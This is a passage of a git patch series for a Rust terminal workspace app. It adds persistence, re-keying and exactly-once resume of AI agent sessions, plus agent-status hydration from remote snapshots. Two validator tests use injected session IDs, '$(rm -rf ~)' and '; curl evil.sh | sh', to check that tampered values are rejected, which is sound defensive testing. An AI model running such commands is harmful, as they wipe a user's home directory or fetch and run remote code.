+    let workspace = cx.new(|_cx| Workspace::new(data));
+
+    workspace.update(cx, |ws: &mut Workspace, cx| {
+        ws.move_pane(
+            &mut FocusManager::new(),
+            "p1",
+            "t1",
+            "p2",
+            "t3",
+            DropZone::Right,
+            cx,
+        );
+    });
+
+    workspace.read_with(cx, |ws: &Workspace, _cx| {
+        assert_eq!(ws.agent_session("p1", "t1"), None, "source keeps no orphan");
+        assert_eq!(
+            ws.agent_session("p2", "t1"),
+            Some(agent_session(SESSION_UUID)),
+            "the session follows the pane into its new project"
+        );
+    });
+}
+
+#[gpui::test]
+fn move_to_tab_group_across_projects_carries_the_agent_session(cx: &mut gpui::TestAppContext) {
+    let mut p1 = make_project_with_layout(
+        "p1",
+        LayoutNode::Split {
+            direction: SplitDirection::Vertical,
+            sizes: vec![50.0, 50.0],
+            children: vec![terminal_node_t("t1"), terminal_node_t("t2")],
+        },
+    );
+    p1.agent_sessions
+        .insert("t1".to_string(), agent_session(SESSION_UUID));
+    let p2 = make_project_with_layout(
+        "p2",
+        LayoutNode::Tabs {
+            children: vec![terminal_node_t("t3"), terminal_node_t("t4")],
+            active_tab: 0,
+        },
+    );
+    let data = make_workspace_data(vec![p1, p2], vec!["p1", "p2"]);
+    let workspace = cx.new(|_cx| Workspace::new(data));
+
+    workspace.update(cx, |ws: &mut Workspace, cx| {
+        ws.move_terminal_to_tab_group(&mut FocusManager::new(), "p1", "t1", "p2", &[], Some(1), cx);
+    });
+
+    workspace.read_with(cx, |ws: &Workspace, _cx| {
+        assert_eq!(ws.agent_session("p1", "t1"), None);
+        assert_eq!(
+            ws.agent_session("p2", "t1"),
+            Some(agent_session(SESSION_UUID))
+        );
+    });
+}
diff --git a/crates/okena-workspace/src/actions/project.rs b/crates/okena-workspace/src/actions/project.rs
index e62cb1762..59b5e252b 100644
--- a/crates/okena-workspace/src/actions/project.rs
+++ b/crates/okena-workspace/src/actions/project.rs
@@ -304,6 +304,7 @@ impl Workspace {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -1104,6 +1105,7 @@ mod tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -1434,6 +1436,7 @@ mod gpui_tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-workspace/src/actions/soft_close.rs b/crates/okena-workspace/src/actions/soft_close.rs
index 57ed2b1ec..d73de0e6f 100644
--- a/crates/okena-workspace/src/actions/soft_close.rs
+++ b/crates/okena-workspace/src/actions/soft_close.rs
@@ -369,6 +369,10 @@ impl Workspace {
         if self.take_pending_close(terminal_id).is_none() {
             return false;
         }
+        // The close is now irreversible, so the captured agent session can go.
+        // It deliberately survives the grace period: an undo restores the pane
+        // and must restore its session identity with it.
+        self.forget_agent_session(terminal_id, cx);
         self.queue_terminal_kills([terminal_id.to_string()]);
         // Plain notify (not notify_data): queuing a kill is transient state, it
         // must not bump data_version / trigger an auto-save. The workspace
@@ -611,6 +615,7 @@ mod tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -679,6 +684,41 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    fn agent_session_survives_undo_and_dies_with_the_finalized_close(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        let session = okena_core::agent_session::AgentSession {
+            agent: "claude-code".to_string(),
+            session_id: "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b".to_string(),
+            transcript_path: None,
+        };
+        let mut data = workspace_data(hsplit(vec![term("a"), term("b")]));
+        data.projects[0]
+            .agent_sessions
+            .insert("a".to_string(), session.clone());
+        let workspace = cx.new(|_cx| Workspace::new(data));
+
+        workspace.update(cx, |ws: &mut Workspace, cx| {
+            let mut fm = FocusManager::new();
+
+            // The grace period is reversible, so the session must still be there.
+            ws.begin_soft_close(&mut fm, "p1", &[0], "a", "toast-a", cx);
+            assert_eq!(ws.agent_session("p1", "a"), Some(session.clone()));
+            assert!(ws.undo_soft_close(&mut fm, "a", true, cx));
+            assert_eq!(
+                ws.agent_session("p1", "a"),
+                Some(session),
+                "an undone close must bring the session back with the pane"
+            );
+
+            // Finalizing makes the close permanent — no orphan left behind.
+            ws.begin_soft_close(&mut fm, "p1", &[0], "a", "toast-a", cx);
+            assert!(ws.finalize_soft_close("a", cx));
+            assert_eq!(ws.agent_session("p1", "a"), None);
+        });
+    }
+
     #[gpui::test]
     fn undo_with_dead_pty_drops_pending_without_restoring(cx: &mut gpui::TestAppContext) {
         let data = workspace_data(hsplit(vec![term("a"), term("b")]));
diff --git a/crates/okena-workspace/src/actions/worktree.rs b/crates/okena-workspace/src/actions/worktree.rs
index 7bab84e30..a7f5ad0db 100644
--- a/crates/okena-workspace/src/actions/worktree.rs
+++ b/crates/okena-workspace/src/actions/worktree.rs
@@ -529,6 +529,7 @@ impl Workspace {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -714,6 +715,7 @@ impl Workspace {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             hook_terminals: HashMap::new(),
             pinned: false,
             last_activity_at: None,
diff --git a/crates/okena-workspace/src/persistence.rs b/crates/okena-workspace/src/persistence.rs
index 070afafa0..418ebf528 100644
--- a/crates/okena-workspace/src/persistence.rs
+++ b/crates/okena-workspace/src/persistence.rs
@@ -201,6 +201,25 @@ pub(crate) fn validate_workspace_data(
             let hook_ids: std::collections::HashSet<&str> =
                 project.hook_terminals.keys().map(|s| s.as_str()).collect();
             if let Some(ref mut layout) = project.layout {
+                // Agent sessions are keyed by terminal id — exactly what is
+                // about to be dropped. Re-key them onto their pane's layout
+                // path so `spawn_uninitialized_terminals` can hand each one to
+                // the pane that inherits it. Normalize first: the pass further
+                // down re-runs it (it is idempotent) and it can shift paths, so
+                // capturing beforehand would record stale ones.
+                layout.normalize();
+                let mut pending = HashMap::new();
+                for (terminal_id, session) in &project.agent_sessions {
+                    // A hook terminal keeps its id, so its session stays keyed
+                    // by that id and needs no re-keying.
+                    if hook_ids.contains(terminal_id.as_str()) || !session.is_valid() {
+                        continue;
+                    }
+                    if let Some(path) = layout.find_terminal_path(terminal_id) {
+                        pending.insert(path, session.clone());
+                    }
+                }
+                project.pending_agent_resumes = pending;
                 layout.clear_terminal_ids_except(&hook_ids);
             }
             project.service_terminals.clear();
@@ -235,6 +254,13 @@ pub(crate) fn validate_workspace_data(
         project
             .hidden_terminals
             .retain(|id, _| layout_ids.contains(id));
+        // Same rule for agent sessions, plus a re-validation pass: workspace.json
+        // is user-editable and long-lived, so a stored `session_id` must clear
+        // the same UUID invariant the OSC parser enforces before it can reach a
+        // resume command.
+        project
+            .agent_sessions
+            .retain(|id, session| layout_ids.contains(id) && session.is_valid());
     }
 
     // Populate worktree_ids from worktree_info back-references (migration for old data)
@@ -1163,6 +1189,7 @@ pub fn default_workspace() -> WorkspaceData {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -1588,6 +1615,7 @@ mod tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -1692,6 +1720,122 @@ mod tests {
         assert!(data.projects[0].service_terminals.is_empty());
     }
 
+    fn agent_session(session_id: &str) -> okena_core::agent_session::AgentSession {
+        okena_core::agent_session::AgentSession {
+            agent: "claude-code".to_string(),
+            session_id: session_id.to_string(),
+            transcript_path: None,
+        }
+    }
+
+    const UUID_A: &str = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    const UUID_B: &str = "11111111-2222-3333-4444-555555555555";
+
+    /// A split with two panes, ids `tid0` / `tid1` at paths `[0]` / `[1]`.
+    fn split_project(id: &str) -> ProjectData {
+        use crate::state::SplitDirection;
+        let mut project = make_project(id);
+        project.layout = Some(LayoutNode::Split {
+            direction: SplitDirection::Horizontal,
+            sizes: vec![50.0, 50.0],
+            children: vec![
+                LayoutNode::Terminal {
+                    terminal_id: Some("tid0".to_string()),
+                    minimized: false,
+                    detached: false,
+                    shell_type: okena_terminal::shell_config::ShellType::Default,
+                    zoom_level: 1.0,
+                },
+                LayoutNode::Terminal {
+                    terminal_id: Some("tid1".to_string()),
+                    minimized: false,
+                    detached: false,
+                    shell_type: okena_terminal::shell_config::ShellType::Default,
+                    zoom_level: 1.0,
+                },
+            ],
+        });
+        project
+    }
+
+    #[test]
+    fn validate_rekeys_agent_sessions_onto_layout_paths() {
+        let mut project = split_project("p1");
+        project
+            .agent_sessions
+            .insert("tid1".to_string(), agent_session(UUID_A));
+        let mut data = make_workspace(vec![project], vec!["p1"], vec![]);
+
+        validate_workspace_data(&mut data, true, SessionBackend::None);
+
+        let project = &data.projects[0];
+        // The id the session was keyed by is gone, so it must have moved onto
+        // the pane's path — otherwise the restored pane can never resume it.
+        assert!(project.agent_sessions.is_empty());
+        assert_eq!(
+            project.pending_agent_resumes.get(&vec![1]),
+            Some(&agent_session(UUID_A))
+        );
+        assert_eq!(project.pending_agent_resumes.len(), 1);
+    }
+
+    #[test]
+    fn validate_keeps_agent_sessions_when_ids_survive() {
+        let mut project = split_project("p1");
+        project
+            .agent_sessions
+            .insert("tid1".to_string(), agent_session(UUID_A));
+        let mut data = make_workspace(vec![project], vec!["p1"], vec![]);
+
+        // A session backend keeps terminal ids, so the pane re-attaches to a
+        // live agent — nothing to re-key and nothing to resume.
+        validate_workspace_data(&mut data, false, SessionBackend::None);
+
+        let project = &data.projects[0];
+        assert_eq!(
+            project.agent_sessions.get("tid1"),
+            Some(&agent_session(UUID_A))
+        );
+        assert!(project.pending_agent_resumes.is_empty());
+    }
+
+    #[test]
+    fn validate_drops_orphaned_and_tampered_agent_sessions() {
+        let mut project = split_project("p1");
+        project
+            .agent_sessions
+            .insert("tid1".to_string(), agent_session(UUID_B));
+        // A pane that no longer exists in the layout.
+        project
+            .agent_sessions
+            .insert("ghost".to_string(), agent_session(UUID_A));
+        // A hand-edited workspace.json smuggling a command in as a session id.
+        project
+            .agent_sessions
+            .insert("tid0".to_string(), agent_session("$(rm -rf ~)"));
+        let mut data = make_workspace(vec![project], vec!["p1"], vec![]);
+
+        validate_workspace_data(&mut data, false, SessionBackend::None);
+
+        let project = &data.projects[0];
+        assert_eq!(project.agent_sessions.len(), 1);
+        assert!(project.agent_sessions.contains_key("tid1"));
+    }
+
+    #[test]
+    fn validate_does_not_queue_a_resume_for_a_tampered_session() {
+        let mut project = split_project("p1");
+        project
+            .agent_sessions
+            .insert("tid1".to_string(), agent_session("; curl evil.sh | sh"));
+        let mut data = make_workspace(vec![project], vec!["p1"], vec![]);
+
+        validate_workspace_data(&mut data, true, SessionBackend::None);
+
+        assert!(data.projects[0].pending_agent_resumes.is_empty());
+        assert!(data.projects[0].agent_sessions.is_empty());
+    }
+
     #[test]
     fn validate_preserves_hook_terminal_ids() {
         use crate::state::{HookTerminalEntry, HookTerminalStatus, SplitDirection};
diff --git a/crates/okena-workspace/src/remote_apply.rs b/crates/okena-workspace/src/remote_apply.rs
index 4be71169d..36d21476c 100644
--- a/crates/okena-workspace/src/remote_apply.rs
+++ b/crates/okena-workspace/src/remote_apply.rs
@@ -255,6 +255,7 @@ pub fn apply_remote_snapshot(
                         connection_id: Some(conn_id_owned),
                         service_terminals: HashMap::new(),
                         agent_sessions: HashMap::new(),
+                        pending_agent_resumes: HashMap::new(),
                         default_shell: api_project.default_shell.clone(),
                         hook_terminals: remote_hook_terminals,
                         pinned: api_project.pinned,
diff --git a/crates/okena-workspace/src/settings.rs b/crates/okena-workspace/src/settings.rs
index 99165cbea..dabeb5646 100644
--- a/crates/okena-workspace/src/settings.rs
+++ b/crates/okena-workspace/src/settings.rs
@@ -289,9 +289,12 @@ pub struct AppSettings {
     /// Automatically resume a pane's AI agent session (e.g. `claude --resume
     /// <id>`) on restore, when one was captured before the restart. Opt-in
     /// (default off). When off, the captured session is still persisted and
-    /// shown — just not auto-run. Note: terminal IDs (and thus the captured
-    /// session) only survive a restart when a session backend is configured, so
-    /// this is effectively a no-op with `session_backend = none`.
+    /// re-attached to the restored pane — just not auto-run.
+    ///
+    /// Applies when the pane comes back **without** its process, i.e. under
+    /// `session_backend = none`, where the daemon runs the resume as the pane's
+    /// startup command. With a session backend the pane re-attaches to a live
+    /// session whose agent is (still) running, so nothing is resumed.
     #[serde(default)]
     pub auto_resume_agent_sessions: bool,
 
diff --git a/crates/okena-workspace/src/state.rs b/crates/okena-workspace/src/state.rs
index 316a41d72..17a6a6a38 100644
--- a/crates/okena-workspace/src/state.rs
+++ b/crates/okena-workspace/src/state.rs
@@ -1634,21 +1634,42 @@ impl Workspace {
             .and_then(|p| p.agent_sessions.get(terminal_id).cloned())
     }
 
-    /// Drop a terminal's persisted agent session (the terminal was permanently
-    /// closed), so `workspace.json` doesn't accumulate orphans.
-    pub fn remove_agent_session(
-        &mut self,
-        project_id: &str,
-        terminal_id: &str,
-        cx: &mut impl WorkspaceCx,
-    ) {
-        if let Some(project) = self.project_mut(project_id)
-            && project.agent_sessions.remove(terminal_id).is_some()
-        {
+    /// Drop the persisted agent session for a terminal that is permanently gone
+    /// (hard close, finalized soft close) or that lost its identity (shell
+    /// switch), so `workspace.json` doesn't accumulate orphans and a pane can't
+    /// inherit a stale session.
+    ///
+    /// Scans every project rather than taking a project id: callers reach this
+    /// from paths where the pane is already out of its layout (a finalized soft
+    /// close), and a terminal id maps to at most one session anyway. A
+    /// cross-project *move* must not use this — see the `move_ops` migration,
+    /// which carries the session with the terminal.
+    pub fn forget_agent_session(&mut self, terminal_id: &str, cx: &mut impl WorkspaceCx) {
+        let mut removed = false;
+        for project in &mut self.data.projects {
+            removed |= project.agent_sessions.remove(terminal_id).is_some();
+        }
+        if removed {
             self.notify_data(cx);
         }
     }
 
+    /// Claim the agent session queued for the pane at `layout_path`, if any.
+    ///
+    /// Consuming is the point: the entry is placed by `validate_workspace_data`
+    /// when a restore drops every terminal id, and taking it makes the resume
+    /// exactly-once — a later respawn of the same pane (or a second caller
+    /// racing this one) must not resume the session again.
+    pub fn take_pending_agent_resume(
+        &mut self,
+        project_id: &str,
+        layout_path: &[usize],
+    ) -> Option<okena_core::agent_session::AgentSession> {
+        self.project_mut(project_id)?
+            .pending_agent_resumes
+            .remove(layout_path)
+    }
+
     pub fn register_hook_terminal(
         &mut self,
         project_id: &str,
@@ -2443,6 +2464,7 @@ mod workspace_tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -3352,6 +3374,7 @@ mod gpui_tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-workspace/src/visibility.rs b/crates/okena-workspace/src/visibility.rs
index ffebb08c8..28ef7769e 100644
--- a/crates/okena-workspace/src/visibility.rs
+++ b/crates/okena-workspace/src/visibility.rs
@@ -236,6 +236,7 @@ mod tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/docs/agent-status.md b/docs/agent-status.md
index 08a443447..7956ed777 100644
--- a/docs/agent-status.md
+++ b/docs/agent-status.md
@@ -82,20 +82,37 @@ restart:
   and kept on the pane as a *sticky* record that survives `st=clear`.
 - **Persisted** per terminal in `workspace.json` (`project.agent_sessions`), so
   it outlives the process.
-- **Resumed** on restore when the **`auto_resume_agent_sessions`** setting is on:
-  Okena types the harness's resume command (for Claude Code, `claude --resume
-  <id>`) into the reconnected pane after a short delay. Off by default — when
-  off, the session is still captured, persisted, and shown, just not auto-run.
+- **Re-keyed** on load. Without a session backend a restore clears every
+  terminal id — exactly the keys the sessions are stored under. Before dropping
+  them, `validate_workspace_data` moves each surviving session onto its pane's
+  *layout path* (`project.pending_agent_resumes`, never persisted), which is the
+  pane identity that does survive that load.
+- **Resumed** by the daemon when the **`auto_resume_agent_sessions`** setting is
+  on: `spawn_uninitialized_terminals` consumes the queued session as it gives
+  the pane its new terminal id, and runs the harness's resume command (for
+  Claude Code, `claude --resume <id>`) as the pane's **startup command**,
+  chained after any `on_create` hook so the pane still ends up at an interactive
+  shell. Off by default — when off, the session is still re-attached to the
+  restored pane and shown, just not auto-run.
+
+Consuming the queued entry makes this **exactly-once**: a pane respawned later
+in the same session does not re-resume. And because it hangs off the *spawn*
+path, a pane that re-attaches to a live backend session (tmux/dtach — where the
+agent is still running) is never touched.
 
 Which command resumes a session is **per-harness** (Claude Code, Codex, …),
 selected by the `agent` id through the harness registry — adding a new agent is
 additive, with no core change.
 
-> **Requires a session backend.** A pane's `terminal_id` (the key the session is
-> stored under) only survives a restart when a session backend (`tmux` / `dtach`
-> / `screen`) is configured. With `session_backend = none`, terminal IDs are
-> regenerated on load, so the persisted session no longer matches and auto-resume
-> is a no-op.
+> **Resume argv must be shell-neutral.** The command is composed into the pane's
+> shell line, so `okena_core::agent_harness::resume_command_line` refuses any
+> argv element containing whitespace, quotes, or metacharacters rather than
+> quote per dialect. A harness needing more should ship a launcher script.
+
+The session follows its pane: it moves with a cross-project drag, survives the
+undo window of a soft close, and is dropped on a hard close, a finalized soft
+close, or a shell switch. Sessions whose pane is gone — or whose stored
+`session_id` no longer looks like a UUID — are pruned on load.
 
 ## Claude Code integration
 
diff --git a/src/main.rs b/src/main.rs
index 6ee8070f6..993c8096a 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -695,7 +695,6 @@ fn main() {
                             default_shell: s.settings.default_shell.clone(),
                             hooks: s.settings.hooks.clone(),
                             ctrl_c_copies_selection: s.settings.terminal_ctrl_c_copies_selection,
-                            auto_resume_agent_sessions: s.settings.auto_resume_agent_sessions,
                         }).ok()
                     }
                     "git" => {
diff --git a/src/smoke_tests.rs b/src/smoke_tests.rs
index cbd082acb..4384075b2 100644
--- a/src/smoke_tests.rs
+++ b/src/smoke_tests.rs
@@ -56,7 +56,6 @@ mod tests {
                                 ctrl_c_copies_selection: s
                                     .settings
                                     .terminal_ctrl_c_copies_selection,
-                                auto_resume_agent_sessions: s.settings.auto_resume_agent_sessions,
                             })
                             .ok()
                         }

From e3d36440db200e883a3b1ac7aa49df5d39fe2263 Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Tue, 4 Aug 2026 14:50:16 +0200
Subject: [PATCH 05/16] feat(agent-status): hydrate agent status from remote
 snapshots
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The daemon fills `terminal_agent_status` on every project, but no client
read it. Clients learn agent status by parsing OSC 9001 out of the live
byte stream, and a snapshot replays a *rendered grid* — the OSC that set
the current status was consumed long before. A desktop client that started
or reconnected mid-run therefore showed no agent indicator until the agent
happened to report again, and could keep showing a status the daemon had
already cleared.

`snapshot_agent_statuses` projects the snapshot onto client-side (prefixed)
terminal ids, emitting an entry for *every* pane in the layout so a cleared
status clears rather than lingers. The window view applies it to the
registry via `Terminal::hydrate_agent_status`, which deliberately skips the
notification queue (the daemon already notified on the transition; firing
again per reconnect would spam) and the remote-dirty edge.

Mobile FFI now projects the same status, which it previously dropped.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_011st5wPRrrAUgA8EQYrGWwY
---
 crates/okena-app/src/views/window/mod.rs   | 19 +++++
 crates/okena-mobile-ffi/src/api/state.rs   | 28 ++++++++
 crates/okena-mobile-ffi/src/types.rs       | 29 +++++++-
 crates/okena-terminal/src/terminal/meta.rs | 16 +++++
 crates/okena-workspace/src/remote_apply.rs | 83 ++++++++++++++++++++++
 5 files changed, 173 insertions(+), 2 deletions(-)

diff --git a/crates/okena-app/src/views/window/mod.rs b/crates/okena-app/src/views/window/mod.rs
index 24a2f3b1a..55c41b84f 100644
--- a/crates/okena-app/src/views/window/mod.rs
+++ b/crates/okena-app/src/views/window/mod.rs
@@ -556,6 +556,7 @@ impl WindowView {
                 &workspace,
                 &focus_manager,
                 &rm,
+                &this.terminals,
                 cx,
             );
             this.sync_project_columns(cx);
@@ -713,6 +714,7 @@ impl WindowView {
         workspace: &Entity<Workspace>,
         focus_manager: &Entity<FocusManager>,
         rm: &Entity<RemoteConnectionManager>,
+        terminals: &TerminalsRegistry,
         cx: &mut Context<Self>,
     ) {
         use okena_workspace::remote_apply::RemoteSnapshot;
@@ -736,6 +738,23 @@ impl WindowView {
             });
         });
 
+        // Agent status is runtime-only, so it rides the snapshot rather than
+        // `WorkspaceData`. A client normally learns it by parsing `OSC 9001`
+        // out of the live stream, but the initial (and every reconnect)
+        // snapshot is a rendered grid with that OSC long since consumed —
+        // without this the tab indicator and the sidebar Agents list stay empty
+        // until the agent happens to report again.
+        {
+            let registry = terminals.lock();
+            for (terminal_id, status) in
+                okena_workspace::remote_apply::snapshot_agent_statuses(&snapshots)
+            {
+                if let Some(terminal) = registry.get(&terminal_id) {
+                    terminal.hydrate_agent_status(status);
+                }
+            }
+        }
+
         // Mirror the local daemon's hook execution history into the client-side
         // `HookMonitor` global so the Hook Log overlay reflects hooks that ran on
         // the daemon. Only the local daemon connection feeds this global — remote
diff --git a/crates/okena-mobile-ffi/src/api/state.rs b/crates/okena-mobile-ffi/src/api/state.rs
index e3848350d..0e5ae7646 100644
--- a/crates/okena-mobile-ffi/src/api/state.rs
+++ b/crates/okena-mobile-ffi/src/api/state.rs
@@ -25,6 +25,21 @@ pub struct ProjectInfo {
     pub git_lines_removed: u32,
     pub services: Vec<ServiceInfo>,
     pub folder_color: String,
+    /// Per-terminal AI agent status, for terminals currently reporting one.
+    /// Mirrors what the desktop shows on the tab and in the sidebar Agents list.
+    pub terminal_agent_status: HashMap<String, AgentStatusInfo>,
+}
+
+/// FFI-friendly agent status.
+///
+/// Flattens [`okena_core::agent_status::AgentStatus`]: `lifecycle` is the wire
+/// token (`working` / `blocked` / `done` / `idle`) so the UI can map it to its
+/// own colors, and `custom` is the agent's free-form text. The `labels` map is
+/// deliberately left out — it is display detail no mobile surface renders yet.
+#[derive(Debug, Clone)]
+pub struct AgentStatusInfo {
+    pub lifecycle: String,
+    pub custom: Option<String>,
 }
 
 /// FFI-friendly service info.
@@ -107,6 +122,19 @@ pub fn get_projects(conn_id: String) -> Vec<ProjectInfo> {
                 git_lines_removed,
                 services,
                 folder_color: format!("{:?}", p.folder_color).to_lowercase(),
+                terminal_agent_status: p
+                    .terminal_agent_status
+                    .iter()
+                    .map(|(terminal_id, status)| {
+                        (
+                            terminal_id.clone(),
+                            AgentStatusInfo {
+                                lifecycle: status.lifecycle.label().to_string(),
+                                custom: status.custom.clone(),
+                            },
+                        )
+                    })
+                    .collect(),
             }
         })
         .collect()
diff --git a/crates/okena-mobile-ffi/src/types.rs b/crates/okena-mobile-ffi/src/types.rs
index 89cb9e78f..701ded087 100644
--- a/crates/okena-mobile-ffi/src/types.rs
+++ b/crates/okena-mobile-ffi/src/types.rs
@@ -10,8 +10,9 @@ use std::collections::HashMap;
 use crate::api::{
     connection::ConnectionStatus as NativeConnectionStatus,
     state::{
-        FolderInfo as NativeFolderInfo, FullscreenInfo as NativeFullscreenInfo,
-        ProjectInfo as NativeProjectInfo, ServiceInfo as NativeServiceInfo,
+        AgentStatusInfo as NativeAgentStatusInfo, FolderInfo as NativeFolderInfo,
+        FullscreenInfo as NativeFullscreenInfo, ProjectInfo as NativeProjectInfo,
+        ServiceInfo as NativeServiceInfo,
     },
     terminal::{
         CellData as NativeCellData, CursorShape as NativeCursorShape,
@@ -171,6 +172,24 @@ impl From<NativeServiceInfo> for ServiceInfo {
     }
 }
 
+/// AI agent status reported by a terminal (`OSC 9001`).
+#[derive(Debug, Clone, uniffi::Record)]
+pub struct AgentStatusInfo {
+    /// `working` | `blocked` | `done` | `idle`.
+    pub lifecycle: String,
+    /// Free-form text the agent set, e.g. "running tests 3/5".
+    pub custom: Option<String>,
+}
+
+impl From<NativeAgentStatusInfo> for AgentStatusInfo {
+    fn from(s: NativeAgentStatusInfo) -> Self {
+        AgentStatusInfo {
+            lifecycle: s.lifecycle,
+            custom: s.custom,
+        }
+    }
+}
+
 /// Flat, FFI-friendly project info.
 #[derive(Debug, Clone, uniffi::Record)]
 pub struct ProjectInfo {
@@ -185,6 +204,7 @@ pub struct ProjectInfo {
     pub git_lines_removed: u32,
     pub services: Vec<ServiceInfo>,
     pub folder_color: String,
+    pub terminal_agent_status: HashMap<String, AgentStatusInfo>,
 }
 
 impl From<NativeProjectInfo> for ProjectInfo {
@@ -201,6 +221,11 @@ impl From<NativeProjectInfo> for ProjectInfo {
             git_lines_removed: p.git_lines_removed,
             services: p.services.into_iter().map(Into::into).collect(),
             folder_color: p.folder_color,
+            terminal_agent_status: p
+                .terminal_agent_status
+                .into_iter()
+                .map(|(id, status)| (id, status.into()))
+                .collect(),
         }
     }
 }
diff --git a/crates/okena-terminal/src/terminal/meta.rs b/crates/okena-terminal/src/terminal/meta.rs
index ca3a07c0e..3a9948f2f 100644
--- a/crates/okena-terminal/src/terminal/meta.rs
+++ b/crates/okena-terminal/src/terminal/meta.rs
@@ -74,6 +74,22 @@ impl Terminal {
         self.agent_status.lock().clone()
     }
 
+    /// Adopt the agent status a remote snapshot reports for this terminal.
+    ///
+    /// A client parses `OSC 9001` from the live byte stream, but a snapshot
+    /// replays a *rendered grid* — the OSC that set the current status was
+    /// consumed long before, so a client that connects (or reconnects) mid-run
+    /// would otherwise show no agent until the next report, or keep showing a
+    /// status the daemon has since cleared.
+    ///
+    /// Deliberately not the parser path: it neither queues a notification (the
+    /// daemon already raised one when the transition happened; re-raising it on
+    /// every reconnect would spam) nor sets `remote_dirty` (this *is* remote
+    /// state arriving, not local state to push back).
+    pub fn hydrate_agent_status(&self, status: Option<okena_core::agent_status::AgentStatus>) {
+        *self.agent_status.lock() = status;
+    }
+
     /// Consume the one-shot "remote-visible state changed since last drain"
     /// edge. Returns true if anything marked it since the previous call, then
     /// resets it. The PTY event loop uses this to bump the remote
diff --git a/crates/okena-workspace/src/remote_apply.rs b/crates/okena-workspace/src/remote_apply.rs
index 36d21476c..f98fbc163 100644
--- a/crates/okena-workspace/src/remote_apply.rs
+++ b/crates/okena-workspace/src/remote_apply.rs
@@ -46,6 +46,39 @@ pub struct RemoteSyncOutcome {
     pub focus_targets: Vec<RemoteFocusTarget>,
 }
 
+/// The agent status each snapshot reports, keyed by the **client-side**
+/// (connection-prefixed) terminal id, so the caller can apply it straight to
+/// its terminal registry.
+///
+/// Every terminal in a snapshot's layout gets an entry — `None` when the daemon
+/// reports no status for it. That is what makes reconnects converge: a snapshot
+/// is the full truth, so a status the daemon has since cleared must be cleared
+/// on the client rather than left behind.
+///
+/// Separate from [`apply_remote_snapshot`] because agent status is runtime-only:
+/// it lives on `Terminal`, not in `WorkspaceData`. GPUI-free and unit-testable.
+pub fn snapshot_agent_statuses(
+    snapshots: &[RemoteSnapshot],
+) -> Vec<(String, Option<okena_core::agent_status::AgentStatus>)> {
+    let mut out = Vec::new();
+    for snap in snapshots {
+        let Some(state) = snap.state.as_ref() else {
+            continue;
+        };
+        let conn_id = &snap.config.id;
+        for api_project in &state.projects {
+            let Some(layout) = api_project.layout.as_ref() else {
+                continue;
+            };
+            for terminal_id in layout.collect_terminal_ids() {
+                let status = api_project.terminal_agent_status.get(&terminal_id).cloned();
+                out.push((format!("remote:{conn_id}:{terminal_id}"), status));
+            }
+        }
+    }
+    out
+}
+
 /// Apply remote connection snapshots to `data`, reconciling materialized remote
 /// projects, folders, and project order, while preserving local visual state and
 /// pruning stale remote entries.
@@ -1205,4 +1238,54 @@ mod tests {
                 .contains("remote:conn:p1")
         );
     }
+
+    // === snapshot_agent_statuses ===
+
+    fn working(custom: &str) -> okena_core::agent_status::AgentStatus {
+        okena_core::agent_status::AgentStatus {
+            lifecycle: okena_core::agent_status::AgentLifecycle::Working,
+            custom: Some(custom.to_string()),
+            labels: Default::default(),
+        }
+    }
+
+    #[test]
+    fn snapshot_agent_statuses_prefixes_ids_and_clears_the_rest() {
+        let mut project = api_project(
+            "p1",
+            Some(ApiLayoutNode::Split {
+                direction: okena_state::SplitDirection::Horizontal,
+                sizes: vec![50.0, 50.0],
+                children: vec![terminal("t1"), terminal("t2")],
+            }),
+        );
+        project
+            .terminal_agent_status
+            .insert("t1".to_string(), working("running tests"));
+        let snap = RemoteSnapshot {
+            config: config("c1"),
+            state: Some(state_with(vec![project], vec!["p1".to_string()], Vec::new())),
+        };
+
+        let statuses = snapshot_agent_statuses(&[snap]);
+
+        assert_eq!(
+            statuses,
+            vec![
+                ("remote:c1:t1".to_string(), Some(working("running tests"))),
+                // Reported for every pane in the layout, so a status the daemon
